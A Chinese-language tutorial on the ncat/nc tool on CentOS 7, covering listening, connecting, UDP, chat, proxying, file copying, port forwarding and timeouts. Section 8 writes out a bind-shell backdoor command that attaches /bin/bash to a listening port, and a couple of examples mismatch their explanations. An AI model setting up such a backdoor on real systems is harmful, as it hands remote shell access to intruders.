概述

ncat 或者說 nc 是一款功能類似 cat 的工具，但是是用于網絡的。它是一款擁有多種功能的 CLI 工具，可以用來在網絡上讀、寫以及重定向數據。 它被設計成可以被腳本或其他程序調用的可靠的后端工具。同時由于它能創建任意所需的連接，因此也是一個很好的網絡調試工具。

ncat/nc 既是一個端口掃描工具，也是一款安全工具，還是一款監測工具，甚至可以做為一個簡單的 TCP 代理。 由于有這么多的功能，它被譽為是網絡界的瑞士軍刀。 這是每個系統管理員都應該知道并且掌握它。

以下基于centos7進行測試。

1、安裝

yum install nmap-ncat -y

系統管理員可以用它來審計系統安全，用它來找出開放的端口然后保護這些端口。 管理員還能用它作為客戶端來審計 Web 服務器、telnet 服務器、郵件服務器等， 通過 nc 可以控制發送的每個字符，也可以查看對方的回應。

2、監聽入站連接

通過 -l 選項，ncat 可以進入監聽模式，在指定端口監聽入站連接。 完整的命令是這樣的：

ncat -l port_number

比如

ncat -l 80

服務器就會開始在 8080 端口監聽入站連接。

3、連接遠程系統

使用下面命令可以用 nc 來連接遠程系統

ncat IP_address port_number

實例：

ncat xx.xx.xx.xx 80

這會創建一個連接，連接到 IP 為xx.xx.xx.xx的服務器上的 80 端口，然后就可以向服務器發送指令了。

4、 連接 UDP 端口

默認情況下，nc 創建連接時只會連接 TCP 端口。 不過我們可以使用 -u 選項來連接到 UDP 端口

ncat -l -u 1234

現在系統會開始監聽 UDP 的 1234 端口，可以使用下面的 netstat 命令來驗證這一點

netstat -tunlp | grep 1234

假設想發送或者說測試某個遠程主機 UDP 端口的連通性，可以使用下面命令

ncat -v -u {host-ip} {udp-port}

比如

5、將 nc 作為聊天工具

nc 也可以作為聊天工具來用，可以配置服務器監聽某個端口，然后從遠程主機上連接到服務器的這個端口，就可以開始發送消息了。

在服務器這端運行：

ncat -l 80

在遠程客戶端主機上運行：

ncat xx.xx.xx.xx 80

之后開始發送消息，這些消息會在服務器終端上顯示出來。

6、將 nc 作為代理

nc 也可以用來做代理。比如下面這個例子

ncat -l 8080 | ncat xx.xx.xx.xx 80

所有發往服務器 8080 端口的連接都會自動轉發到 192.168.1.200 上的 80 端口。 不過由于使用了管道，數據只能被單向傳輸。 要同時能夠接受返回的數據，需要創建一個雙向管道。 使用下面命令可以做到這點

mkfifo 2way
ncat -l 8080 0<2way | ncat xx.xx.xx.xx 1>2way

現在你可以通過 nc 代理來收發數據了

7、使用 nc 拷貝文件（不建議）

nc 還能用來在系統間拷貝文件，雖然這么做并不推薦，因為絕大多數系統默認都安裝了 ssh/scp。

在要接受數據的機器上啟動 nc 并讓它進入監聽模式：

ncat -l 8080 > file.txt

現在去要被拷貝數據的機器上運行下面命令：

ncat xx.xx.xx.xx 8080 --send-only < data.txt

這里，data.txt 是要發送的文件。 -–send-only 選項會在文件拷貝完后立即關閉連接。 如果不加該選項， 需要手工按下 ctrl+c 來關閉連接。

我們也可以用這種方法拷貝整個磁盤分區，不過請一定要小心

8、通過 nc 創建后門

nc 命令還可以用來在系統中創建后門，并且這種技術也確實被黑客大量使用。創建后門的命令為：

ncat -l 10000 -e /bin/bash

-e 標志將一個 bash 與端口 10000 相連。現在客戶端只要連接到服務器上的 10000 端口就能通過 bash 獲取系統的完整訪問權限：

ncat xx.xx.xx.xx 10000

9、 通過 nc 進行端口轉發

通過選項 -c 來用 nc 進行端口轉發，實現端口轉發的語法為：

ncat -u -l 80 -c 'ncat -u -l 8080'

這樣，所有連接到 80 端口的連接都會轉發到 8080 端口

10、設置連接超時

nc 的監聽模式會一直運行，直到手工終止。 可以通過選項 -w 設置超時時間:

ncat -w 10 xx.xx.xx.xx 8080

這會導致連接 10 秒后終止，不過這個選項只能用于客戶端而不是服務端。

11、 使用 -k 選項強制 nc 待命

當客戶端從服務端斷開連接后，過一段時間服務端也會停止監聽。 但通過選項 -k 可以強制服務器保持連接并繼續監聽端口。 命令如下：

ncat -l -k 8080

現在即使來自客戶端的連接斷了也依然會處于待命狀態。